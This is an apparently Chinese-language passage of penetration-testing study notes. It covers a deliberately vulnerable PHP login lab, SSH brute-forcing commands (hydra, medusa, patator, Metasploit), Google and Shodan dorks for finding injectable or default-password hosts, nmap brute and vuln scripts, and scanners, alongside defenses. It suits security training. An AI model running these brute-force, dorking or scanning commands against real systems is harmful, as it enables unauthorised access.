$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
// Login failed
sleep(3);
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

还是可以用burpsuite解决,但每次登录失败都要sleep3秒,大大降低破解速度。

8.4 SSH密码暴力破解

8.4.1 hydra

1
世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
1
2
3
4
5
6
7
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
hydra -L logins.txt -P pws.txt -M targets.txt ssh -o ssh-hydra.ok

8.4.2 medusa

1
速度快,支持大规模并行,模块化,爆破登录,可以同时对多个主机、用户或密码执行强力测试。medusa和hydra一样,同样属于在线密码破解工具。不同的是,medusa的稳定性相较于hydra要好很多,但其支持模块要比hydra少一些。
1
2
3
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log

8.4.3 patator

1
patator ssh_login host=192.168.137.147 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed'

8.4.5 brutespray

1
brutepray是一款基于nmap扫描输出的gnmap/XML文件,自动调用medusa对服务进行爆破。

kali安装brutespray

1
2
apt-get update
apt-get install brutespray

brutespray语法参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-f FILE, --file FILE  GNMAP, JSON or XML file to parse
-o OUTPUT, --output OUTPUT
Directory containing successful attempts
-s SERVICE, --service SERVICE
specify service to attack
-t THREADS, --threads THREADS
number of medusa threads
-T HOSTS, --hosts HOSTS
number of hosts to test concurrently
-U USERLIST, --userlist USERLIST
reference a custom username file
-P PASSLIST, --passlist PASSLIST
reference a custom password file
-u USERNAME, --username USERNAME
specify a single username
-p PASSWORD, --password PASSWORD
specify a single password
-c, --continuous keep brute-forcing after success
-i, --interactive interactive mode
-m, --modules dump a list of available modules to brute
-q, --quiet supress banner

8.4.6 msf

1
metasploit framework是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。

8.4.6.1. SSH模块

1
2
3
┌──(root💀kali)-[~]
└─# msfconsole
msf6 > search ssh

8.4.6.2. SSH用户枚举

1
2
3
4
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.137.147
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

8.4.6.3. SSH版本探测

1
2
3
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.137.147
msf6 auxiliary(scanner/ssh/ssh_version) > run

8.4.6.4. SSH暴力破解

1
2
3
4
5
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.137.147
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run

8.4.7 burpsuite

8.1-8.3用的就是burpsuite暴力破解的例子。

8.5 暴力破解防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
1.sueradd shell[推荐]
useradd v5le0n9 -s /sbin/nologin

2.密码的复杂性[推荐]
字母大小写+数字+特殊字符+20位以上+定期更换

3.修改默认端口[推荐]
/etc/ssh/sshd_config
port 22222

4.限制登录的用户或组[推荐]
#permitrootlogin yes
allowusers v5le0n9

man sshd_config
allowusers allowgroups denyusers denygroups

5.使用sudo,不用root用户[推荐]

6.设置允许的IP访问[可选]
/etc/hosts.alllow,例如sshd:192.168.137.147:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机访问

7.使用denyhosts自动统计,并将其加入到/etc/hosts.deny

8.基于PAM实现登录限制[推荐]
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
grep tally2 /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6

9.禁用密码改用公钥方式认证
/etc/ssh/ssh_config
passwordauthentication no

10.保护shell导出会话文件[小心]

11.GRUB加密[针对本地破解]

9. 中间人攻击

利用ARP,ARP是地址解析协议,将IP地址转化为MAC地址。

kali抓包

1
tcpdump -i eth0 -nn arp	and host 192.168.137.147 抓ARP协议包
1
ettercap -G	图形化

使用静态IP/MAC防止中间人攻击(windows下)

1
2
3
4
netsh i i show in	查看本地网络IDX值
netsh -c "i i" add ne idx值 192.168.137.147 00-aa-00-62-6-c6-09 永久绑定
arp -a 查看是否绑定成功
netch -c "i i" delete neighbors idx值 删除绑定的IP/MAC

Linux下

1
arp -s 192.168.137.147 00-aa-00-62-6-c6-09

10. WEB信息收集

10.1 网络信息收集的内容

10.1.1. 网络攻击信息收集

入手点:目标的名称和域名

攻击准备阶段:

  • 在网络中的“地理位置”
  • 与真实世界的联系(实施社工和物理攻击)
  • “网络地图”
  • 攻击所需的更详细信息

攻击实施阶段:

  • 目标系统中存在的安全缺陷和漏洞
  • 目标系统的安全防护机制

10.1.2. 网络防御信息收集

追查入侵者的身份、网络位置、所攻击的目标、采用的攻击方法等

一般被归入取证与追踪技术范畴

10.2 信息收集的方式

  1. 主动信息收集
  • 通过直接访问、扫描网站,这种流量将流经网站。
  • 能获取更多的信息, 但目标主机可能会记录操作记录。
  1. 被动信息收集
  • 利用第三方的服务对目标进行访问了解,如搜索引擎等。
  • 收集的信息会相对较少,但是行动并不会被目标主机发现。

10.3 信息收集的技术方法

10.3.1 网络踩点技术

10.3.1.1. 踩点

  • 有计划、有步骤的信息情报收集
  • 了解攻击目标的网络环境和信息安全装库啊
  • 得到攻击目标剖析图

10.3.1.2. 踩点目的

  • 通过对完整剖析图的细致分析
  • 攻击者将会从中寻找出攻击目标可能存在的薄弱环节
  • 为进一步的攻击行动提供指引

10.3.1.3. 踩点针对的信息

10.3.1.3.1 目标组织
  • 具体使用的域名
  • 网络地址范围
  • 因特网上可直接访问的IP地址与网络服务
  • 网络拓扑结构及软硬件
  • 电话号码段
  • 电子邮件列表
  • 信息安全状况
10.3.1.3.2 目标个人
  • 身份信息、联系方式、职业经历、甚至一些个人隐私信息

10.3.1.4. 踩点技术手段

10.3.1.4.1 Web信息搜索与挖掘

对目标组织或个人的大量公开或意外泄漏的Web信息进行挖掘。

10.3.1.4.1.1. Google Hacking
1
2
3
4
5
6
#site
功能:搜索指定的域名的网页内容,可以用来搜索子域名、跟此域名相关的内容。
site:zhihu.com 搜索跟zhihu.com相关的网页
"web安全" site:zhihu.com 搜索zhihu.com跟web安全相关的内容
"sql注入" site:csdn.net 在csdn.net搜索跟SQL注入相关的内容
"教程" site:pan.baidu.com 在百度盘搜索教程
1
2
3
4
5
#filetype
功能:搜索指定文件类型
"web安全" filetype:pdf 搜索跟web安全有关的pdf文件
namp filetype:ppt 搜索跟nmap相关的ppt文件
site:csdn.net filetype:pdf 搜索csdn网站中的pdf文件
1
2
3
4
5
6
7
8
#inurl
功能:搜索url网址存在特定关键字的网页,可以用来搜寻有注入点的网站
inurl:.php?id= 搜索网址中有".php?id="的网页
inurl:view.php=? 搜索网址中有"view.php=?"的网页
inurl:.jsp?id= 搜索网址中有".jsp?id="的网页
inurl:.asp?id= 搜索网址中有".asp?id="的网页
inurl:/admin/login.php 搜索网址中有"/admin/login.php"的网页
inurl:login 搜索网址中有"login"的登录网页
1
2
3
4
5
#intitle
功能:搜索标题存在特点关键字的网页
intitle:后台登录 搜索网页标题是"后台登录"的网页
intitle:后台管理 filetype:php 搜索网页标题是"后台管理"的php页面
intitle:index of "parent directory" 搜索根目录相关的索引目录信息
1
2
3
4
5
6
#intext
功能:搜索正文存在特定关键字的网页
intext:powered by Discuz 搜索Discuz论坛相关的页面
intext:powered by wordpress 搜索wordpress制作的博客网址
intext:powered by *CMS 搜索基于*CMS的网址,CMS是内容管理系统,建站系统
intext:powered by xxx inurl:login 搜索此类网址的后台登录页面
1
2
3
4
#符号
-keyword 强制结果不要出现此关键字,例如:电影 -黑客
*keyword 模糊搜索,强制结果包含此关键字,例如:电影 一个叫*决定*
"keyword" 强制搜索结果整体出现此关键字,例如:书籍 "web安全"
1
2
3
4
5
6
#快捷键
Ctrl + F 想要在页面中查找某关键字的位置
Ctrl + +/-/0 放大、缩小页面,0是回到100%
Ctrl + L 选中页面中的地址栏
Ctrl + Tab 切换标签页
Alt + Tab 切换窗口

例:搜纽约时报网站(nytimes.com)在2008年到2010年关于大学(college)测验分数(test scores)但不是SAT入学分数的文章。

1
2
3
4
5
6
site:nytimes.com ~college "test scores" -SATs 2008..2010
site:nytimes.com //只搜索某个网站的页面
~college //同时搜索近义词比如university,higher education
"test scores" //整体作为关键词
-SATs //排除SATs
2008..2010 //显示指定年份时间段内的搜索结果
10.3.1.4.2. Shodan Hacking
1
2
http://www.shodan.io
Shodan(撒旦搜索引擎)被称为“最可怕的搜索引擎”,可扫描一切联网的设备。除了常见的web服务器,还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备。
1
2
#ip
114.114.114.114
1
2
3
4
5
6
7
8
#service/protocol
http
http country:"DE" 使用高级搜索要注册登录才能搜索
http product:"Apache httpd"

ssh
ssh default password
ssh default password country:"JP" city:"Tokyo"
1
2
3
4
#keyword
基于关键词搜索的思路是根据banner(设备指纹)来搜索
"default password" country:"TH"
FTP anon successful
1
2
3
4
5
#product
product:"Microsoft IIS httpd"
product:"nginx"
product:"Apache httpd"
product:MySQL
1
2
3
#version
product:MySQL version:"5.1.73"
product:"Microsoft IIS httpd" version:"7.5"
1
2
3
#hostname
hostname:.org
hostname:.edu
1
2
3
4
#os
os:"Windows Server 2008 R2"
os:"Windows 7 or 8"
os:"Linux 2.6.x"
1
2
3
4
#net
net:110.180.13.0/24
200 ok net:110.180.13.0/24
200 ok country:JP net:110.180.13.0/24
1
2
3
4
#port
port:3389
port:445
port:22

远程桌面连接mstsc,好像要Win10专业版才行。

10.3.1.4.3. Zoomeye Hacking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
https://www.zoomeye.org
ZoomEye(钟馗之眼)是一个面向网络空间的搜索引擎,“国产的shodan”。

ip ip:35.185.77.2
os os:linux
app app:Apache httpd
service service:routersetup 公网路由器
port port:3389
country country:cn
city country:cn +city:hangzhou
ver app:Apache httpd +ver:2.2.16
cidr cidr:35.185.77.2/24 IP的CIDR网段
hostname hostname:google.com
site
title
header
keywords
desc

用户手册:https://www.zoomeye.org/help
10.3.1.4.1.4 元搜索引擎

集成多个搜索引擎进行信息收集

基于元搜索引擎实现被篡改网站发现

10.3.1.4.1.5 防范措施
  • 注意组织安全敏感信息以及个人隐私信息不要在因特网上随意发布
  • 个人上网时尽量保持匿名
  • 提供个人隐私信息时,应选择具有良好声誉并可信任的网站
  • 定期对自身单位及个人在Web上的信息足迹进行搜索
10.3.1.4.2 DNS与IP查询
10.3.1.4.2.1 Whois查询

whois是用来查询域名注册所有者等信息的传输协议。

通过 whois 来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS 解析服务器、注册人联系电话等等,可以进行邮箱反查域名,爆破邮箱,社工,域名劫持,寻找旁站等等。

http://whois.chinaz.com/

10.3.1.4.2.2 备案信息

网站备案信息是根据国家法律法规规定,由网站所有者向国家有关部门申请的备案,如果需要查询企业备案信息(单位名称、备案编号、网站负责人、电子邮箱、联系电话、法人等)。

利用技巧:

  • DNS解析记录可以反查 IP,比较早的解析记录有时可以查到真实 IP,需要留意一下。
  • 注册人电话,注册人邮箱等社工信息可以钓鱼或者收集进字典来爆破目标办公系统。

https://icp.chinaz.com/

10.3.1.4.2.3 DNS服务:从DNS到IP的映射

先了解一下域名层级:以百度为例子:www.baidu.com。依次是com(顶级域名)、baidu(一级域名)、www(二级域名)。但是实质上还有一个唯一的根域名root:www.baidu.com.root,但由于root是唯一的,因此是否写root根域名不是特别必要。

DNS查询工具:

系统自带:nslookup(Windows)、dig(Linux)

1
2
3
4
5
6
7
8
9
10
11
12
13
>nslookup www.gzhu.edu.cn
服务器: UnKnown
Address: 202.192.18.10

名称: gzhu-edu-cn.cname.saaswaf.com
Addresses: 2001:250:100d:ffac:121:194:14:82
2001:250:100d:ffac:121:194:14:83
2001:da8:2032:1006:10:0:213:50
2001:da8:2032:1006:10:0:213:51
58.205.213.52
121.194.14.85
121.194.14.84
Aliases: www.gzhu.edu.cn
10.3.1.4.2.4 IP->location查询

IP地址到现实世界中的具体地理位置。

域名->IP地址->地理位置

https://cz88.net/

10.3.1.4.2.5 防范措施
  • 公用数据库中提供信息的安全问题

    • 必须向注册机构提供尽可能准确的信息
  • 采用一些安防措施不让攻击者轻易得手

    • 及时更新管理性事务联系人的信息

    • 尝试使用虚构的人名来作为管理性事务联系人

      HoneyMan:帮助发现和追查那些在电话或邮件中试图冒充虚构人名的“社会工程师”。

    • 慎重考虑所列的电话号码和地址等信息

    • 注意域名注册机构允许更新注册信息的方式,并确保其中关键信息的安全

10.3.1.4.3 网络侦察
10.3.1.4.3.1 Traceroute路由追踪
  • 探测网络路由路径,可用于确定网络拓扑
  • 主机发送TTL从1开始逐步增1的IP包,网络路径上路由器返回ICMP TIME_EXECEEDED
  • UNIX/Linux: traceroute
    Windows: tracert
  • 穿透防火墙: traceroute-S -p53 TARGET_IP
  • 图形化界面工具: VisualRoute, NeoTrace, Trout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>tracert www.gzhu.edu.cn

通过最多 30 个跃点跟踪
到 gzhu-edu-cn.cname.saaswaf.com [121.194.14.84] 的路由:

1 9 ms 13 ms 8 ms 172.29.255.254
2 * * * 请求超时。
3 * * * 请求超时。
4 * * * 请求超时。
5 12 ms 6 ms 11 ms scn-rgw8.gznet.edu.cn [202.112.19.85]
6 6 ms 11 ms 8 ms 101.4.114.62
7 * * * 请求超时。
8 * * * 请求超时。
9 * * * 请求超时。
10 * * * 请求超时。
11 * * * 请求超时。
12 62 ms 57 ms 67 ms 101.4.117.177
13 60 ms 60 ms 58 ms 202.200.28.186
14 59 ms 56 ms 57 ms 121.194.14.84

跟踪完成。

10.3.2 网络扫描技术

网络扫描类型 网络扫描目的
主机扫描 找出网段内活跃主机
端口扫描 找出主机上所开放的网络服务
操作系统/网络服务辨识 识别主机安装的操作系统类型与开放网络服务类型,以选择不同渗透攻击代码及配置
漏洞扫描 找出主机/网络服务上所存在的安全漏洞,作为渗透点

10.3.2.1 主机扫描(Ping扫描)

主机扫描目的:检查目标主机是否活跃

主机扫描方式:

  • 传统ICMP Ping扫描
  • ACK Ping扫描
  • SYN Ping扫描
  • UDP Ping扫描:到关闭端口

主机扫描程序:

  • Ping
  • Nmap:-sP选项,缺省执行,集合了以上几种扫描方式

Ping扫射:同时扫描大量地IP地址段,以发现某个IP地址是否绑定活跃主机的扫描。

主机扫描防范措施:

单一主机Ping扫描很常见,危害性也不大,更关注Ping扫射。

监测:网络入侵检测系统Snort;主机扫描监测工具Scanlogd

防御:仔细考虑对ICMP通信的过滤策略
利用Ping构建后门: loki(Phrackv51#06), pingd

10.3.2.2 端口扫描

端口:TCP/UDP(1-64K),运行网络应用服务

端口分类:

  1. 知名端口0-1023(Well_Known Ports)
  • 80/TCPHTTP(超文本传输协议):用于传输网页
  • 81/TCPHTTP预备(超文本传输协议)
  • 443/TCPHTTPS(超文本安全传输协议)
  1. 注册端口为1024-49151(Registered Ports)
  • 4433/tcp, udp Microsoft SQL database system
  • 1434/tcp, udp Microsoft SQL Monitor
  1. 动态端口或私有端口为49152-65535(Dynamic Ports)
  • 这些端口号一般不固定分配给某个服务,只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。

连接目标主机的TCP和UDP端口,确定哪些服务正在运行即处于监听状态的过程。

端口扫描目的:

  • 防御者-更加了解所管理的网络状况,找出没有必要开放的端口并关闭,这是保证业务网络安全的第一步。
  • 攻击者-找出可供进一步攻击的网络服务,同时结合操作系统探测技术也可以确定目标主机所安装的操作系统版本。开放网络服务和操作系统版本信息为攻击者提供了破解攻击的目标,使其更容易找出进入目标主机的漏洞路径。
10.3.2.2.1 TCP连接扫描
  • 调用connect() socket函数连接目标端口
  • 开放端口:完成完整的TCP三次握手(SYN, SYN|ACK, ACK),timeout/RST
  • 关闭端口:SYN, RST
  • 优势&弱势:无需特权用户权限可发起,目标主机记录大量连接和错误信息,容易检测
10.3.2.2.2 SYN扫描
  • 半开扫描(half-open scanning)
  • 开放端口:攻击者SYN, 目标主机SYN|ACK, 攻击者立即反馈RST包关闭连接
  • 关闭端口:攻击者SYN, 目标主机RST
  • 优势&弱势:目标主机不会记录未建立连接,较为隐蔽,需根用户权限构建定制SYN包
10.3.2.2.3 隐蔽端口扫描

TCP连接扫描和SYN扫描并不隐蔽:防火墙会监控发往受限端口的SYN包。

隐蔽端口扫描通过构造特殊的TCP标志位,以躲避检测,同时达成端口扫描目的。

FIN扫描(只带FIN位), Null扫描(全为0), XMAS扫描(FIN/URG/PUSH)
FTP弹射扫描:利用FTP代理选项达到隐蔽源地址

  • 开放端口:标准TCP协议规范,接受这些伪造TCP包,丢弃,无任何反馈
  • 关闭端口:反馈RST包

Windows/Cisco等系统没有遵从规范,开放端口对于伪造TCP包也反馈RST,以上这三种方法不适用。

10.3.2.2.4 UDP端口扫描
  • 对目标端口发送特殊定制的UDP数据报文
  • 开放端口: UDP反馈
  • 关闭端口: ICMP port unreachable报文
1
nmap -sU
10.3.2.2.5 防范措施
  • 任何攻击技术都是双刃剑

    网络管理员也可利用端口扫描确定开放必要服务

  • 端口扫描的监测
    网络入侵检测系统: Snort中的portscan检测插件
    系统扫描检测工具: scanlogd, PortSentry, Genius

  • 端口扫描的预防

    • 开启防火墙
      类UNIX: netfilter/IPTables, Win32: 个人防火墙
    • 禁用所有不必要的服务,尽可能减少暴露面(进一步的受攻击面)
      类UNIX: /etc/inetd.conf,Win32: 控制面板/服务
10.3.2.2.6 目录扫描

目录扫描要有字典,相当于暴力破解,扫描是否有字典中的目录。kali下的目录扫描工具:dirb/dirsearch

1
2
3
dirb http://192.168.137.146/mutillidae

python3 dirsearch.py -u www.XXX.com -e*(-e参数也可不指定语言,用*号表示所有语言)

返回CODE:200才可以进去此目录。

10.3.2.3 系统类型探查

系统类型探查:探查活跃主机的系统及开放网络服务的类型

  1. 目标主机上运行着何种类型什么版本的操作系统
  2. 各个开放端口上监听的是哪些网络服务

目的:

  • 为更为深入的情报信息收集,真正实施攻击做好准备
  • 如远程渗透攻击需了解目标操作系统类型与配置
10.3.2.3.1 操作系统类型探查

通过各种不同操作系统类型和版本实现机制上的差异:

  • 协议栈实现差异-协议栈指纹鉴别
  • 开放端口的差异-端口扫描
  • 应用服务的差异-旗标攫取

通过特定方法以确定目标主机所安装的操作系统类型和版本的技术手段。

明确操作系统类型和版本是进一步进行安全漏洞发现和渗透攻击的必要前提。

辨识方式:

–主动-操作系统主动探测技术

–被动-被动操作系统识别技术

10.3.2.3.1.1 利用网络协议栈指纹识别OS

Ping中的TTL。TTL:生存时间

操作系统 TTL
LINUX 64
WIN2K/NT 128
WINDOWS系列 32
UNIX系列 255

现实中的TTL值可能都不是以上数值,跟哪个接近就判断是哪个系统。

10.3.2.3.2 网络服务类型探查

确定目标网络中开放端口上绑定的网络应用服务类型和版本。

了解目标系统更丰富信息, 可支持进一步的操作系统辨识和漏洞识别。

网络服务主动探测:旗标抓取

1
nmap -sV

网络服务被动识别:特征匹配PADS

10.3.2.3.3 防范措施

并没有太多好办法。应立足于即使攻击者探查出了操作系统和网络服务类型,也不能轻易的攻破这道“坚固的防线”。

10.3.2.4 Nmap

nmap是安全渗透领域最强大的开源端口扫描器,能跨平台支持运行。

1
2
https://nmap.org
http://sectools.org

扫描示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
主机发现		nmap -sn 192.168.137.144/24
端口扫描 nmap -sS -p1-1000 192.168.137.144
系统扫描 nmap -O 192.168.137.144
网络服务扫描 nmap -sV 192.168.137.144
综合扫描 nmap -A 192.168.137.144

脚本扫描 /usr/share/nmap/scripts
nmap --script=default 192.168.137.144
nmap --script=auth 192.168.137.144
nmap --script=brute 192.168.137.144
nmap --script=vuln 192.168.137.144
nmap --script=broadcast 192.168.137.144
nmap --script=smb-brute.nse 192.168.137.144
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.144
nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.137.144
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.144

UDP、ICMP首部长度8byte,TCP、IP首部长度20byte

zenmap——图形化nmap

1
2
3
4
nmap T4 -A -v 192.168.137.144
-T 设置速度等级,1-5级,数字越大速度越快
-A 综合扫描
-v 输出扫描过程

10.3.2.5 漏洞扫描

系统攻防的核心:安全漏洞、Exploit(渗透攻击)/恶意代码、安全防御与检测机制三者之间的技术博弈。

漏洞扫描技术:

  • 检查系统是否存在已公布安全漏洞,从而易于遭受网络攻击的技术。
  • 双刃剑
    -网络管理员用来检查系统安全性,渗透测试团队(Red Team)用于安全评估。
    -攻击者用来列出最可能成功的攻击方法,提高攻击效率。

已发布安全漏洞数据库:

  • 业界标准漏洞命名库Common Vulnerabilities and Exposures([CVE][http://cve.mitre.org])

    • 一本漏洞字典,为大家广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。
    • CVE标准使用一个共同的名字,帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。
  • National Vulnerability Database([NVD][ https://nvd.nist.gov ])

  • 国家信息安全漏洞共享平台([CNVD][•https://www.cnvd.org.cn])

The Common Vulnerability Scoring System(CVSS)

  • 基本分:漏洞固有的、根本性的属性
  • 时间分:漏洞与时间相关的属性
  • 环境分:不同用户环境中产品安全漏洞所造成的危害程度
等级 CVSS分数
None 0
Low 0.1-3.9
Medium 4.0-6.9
High 7.0-8.9
Critical 9.0-10.0
10.3.2.4.1 漏洞扫描软件
10.3.2.4.1.1 Nessus

目前最优秀的共享漏洞扫描软件http://www.nessus.org/

一个功能强大而又易于使用的网络漏洞扫描工具,运行于 Linux, Windows, OSX, BSD, Solaris等系统。

该系统被设计为客户/服务器模式,服务器端负责进行安全扫描,客户端用来配置、管理服务器端,客户端和服务器端之间的通信使用SSL加密。

第一个使用插件的漏洞扫描工具,支持实时的插件升级,具有检测漏洞多、准确、速度快的特点使其在众多漏洞扫描器中脱颖而出。其强大的功能是依赖于其丰富的插件来实现的。

客户端/服务器模式

  • 服务器端: nessesd(Tcp1241)
  • 客户端: nessus-q (命令行客户端), nessus(UNIX图形客户端), Nessus Client(Win32客户端)

框架/插件模式

  • 安全漏洞扫描插件: 使用NASL语言容易编写并集成至Nessus框架中
  • 插件间可互相依赖和协同工作(端口探测-漏洞扫描插件)

NASL语言(Nessus Attack Scripting Language)

多种报告方式:
文本/LaTeX/HTML/DHTML/XML/SQL等

Nessus体系结构:

(1)客户端程序向服务端程序发送详细的扫描任务的参数(遵循nessus传输协议);

(2)服务端程序接收到客户端程序的请求后,加载完成任务所需要的插件,并合理安排插件的执行顺序;

(3)NASL语言解释器执行插件,在执行插件扫描过程中会与扫描目标之间有一些数据交互;

(4)NASL解释器判断扫描结果,并报告给服务端程序;

(5)服务端程序归纳从NASL解释器收到的扫描结果,生成漏洞报告反馈给客户端程序。

10.3.2.4.1.2 AWVS

通过网络爬虫测试你的网站安全,检测流行安全漏洞。

10.3.2.4.1.3 AppScan
10.3.2.4.1.4 BurpSuite

功能模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
target		目标模块用于设置扫描域、生成站点地图、生成安全分析
proxy 代理模块用于拦截浏览器的http会话内容
spider 爬虫模块用于自动爬取网站的每个页面内容,并生成完成的网站地图
scanner 扫描模块用于自动化检测漏洞,分为主动和被动扫描
intruder 入侵模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击
入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测试
repeater 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试
sequencer 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造
decoder 解码器模块用于实现对URL、HTML、Base64、ASCII、二八十六进制、哈希等编码转换
comparer 对比模块用于对两次不用的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响
extender 通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能
通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写
options 分为project/user options,主要对软件进行全局设置
alerts 显示软件的使用日志信息
10.3.2.4.1.5 OpenVAS

开放式漏洞评估系统,是一个用于评估目标漏洞的杰出框架,开源且功能十分强大。

1
2
http://www.openvas.org
http://www.greenbone.net

不装了这能装一天。。下面给个安装教程吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
升级kali
apt-get update
apt-get dist-upgrade

安装OpenVAS
apt-get install openvas
openvas-setup

修改admin账户密码
openvasmd --user=admin --new-password=password

启动openvas
openvas-start

检查安装,一定要先启动再检查
ss -tnlp
openvas-check-setup

登录openvas
https://192.168.137.144:9392

功能模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
target		目标模块用于设置扫描域、生成站点地图、生成安全分析
proxy 代理模块用于拦截浏览器的http会话内容
spider 爬虫模块用于自动爬取网站的每个页面内容,并生成完成的网站地图
scanner 扫描模块用于自动化检测漏洞,分为主动和被动扫描
intruder 入侵模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击
入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测试
repeater 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试
sequencer 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造
decoder 解码器模块用于实现对URL、HTML、Base64、ASCII、二八十六进制、哈希等编码转换
comparer 对比模块用于对两次不用的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响
extender 通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能
通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写
options 分为project/user options,主要对软件进行全局设置
alerts 显示软件的使用日志信息
10.3.2.4.2 防范措施

最简单对策:

  • 假设黑客会使用漏洞扫描来发现目标网络弱点,那你必须在黑客之前扫描漏洞
  • 补丁自动更新和分发: 修补漏洞

联邦桌面核心配置计划(FDCC)

  • 确保桌面计算机的安全漏洞及补丁自动管理

检测和防御漏洞扫描行为

  • 网络入侵检测系统: Snort
  • 仔细审查防火墙配置规则

10.3.3 网络查点

针对已知的弱点,对识别出来的服务进行更加充分更具针对性的探查,来寻找真正可以攻击的入口,以及攻击过程中可能需要的关键数据。

与网络踩点、扫描的区别

  • 与网络踩点技术的关键区别:攻击者的入侵程度
  • 与网络扫描技术的关键区别:攻击者的针对性与信息收集的目标性

10.3.3.1 网络查点能够收集到的信息

用户账户名、错误配置的共享资源、网络服务版本号,这些看起来好像是无害的,但一旦这些信息被细心的高水平攻击者所掌握,就可能成为危害目标系统安全的祸根。

  • 用户帐户名:口令猜测破解
  • 错误配置的共享资源:恶意程序上传
  • 老旧的网络服务版本:缓冲区溢出漏洞攻击

10.3.3.2. 网络查点技术

10.3.3.2.1 网络服务旗标抓取技术

最基础和最通用的技术方法。利用客户端工具连接至远程网络服务并观察输出以收集关键信息的技术手段。

1
2
-telnet
-netcat
10.3.3.2.2 通用网络服务查点
  • 跨平台,常用服务

  • Web服务、FTP文件传输服务、POP3及SMTP电子邮件收发服务

10.3.3.2.2.1 FTP服务查点

-控制协议TCP 21端口,没有任何加密,明文传输口令
-匿名登录,甚至匿名上传与下载文件
-FTP查点很简单:使用FTP客户端程序连接即可
-FTP服务旗标、共享目录、可写目录等信息,可能还会提供FTP帐户名等信息
-查点后攻击:弱口令猜测与破解、已知FTP服务漏洞渗透攻击

10.3.3.2.2.2 SMTP服务查点

SMTP电子邮件发送协议查点
-最经典的网络服务查点技术之一
-两类特殊指令VRFY和EXPN
-VRFY指令:对合法用户的名字进行验证
-EXPN指令:显示假名与邮件表实际发送地址
-可验证和搜索邮件服务器上的活跃帐户

SMTP电子邮件发送协议查点危害
-伪造更具欺骗性电子邮件,社会工程学攻击
-探测SMTP服务器枚举出其中有效的电子邮件地址列表,大量发生垃圾邮件

10.3.3.2.3 类Unix平台网络服务查点

古老的finger, rwho, rusers查点
-用户帐户和登录信息
-已不常用

RPC查点(TCP/UDP 111, 32771)
-RPC远程过程调用: portmapperrpcbind
-RPC查点工具
rpcinfo-p HOST: 枚举主机上提供的RPC服务
rpcdump(Windows平台运行)
nmap-sS-sRHOST

RPC查点防御策略
-Secure RPC, 111/32771端口防火墙过滤

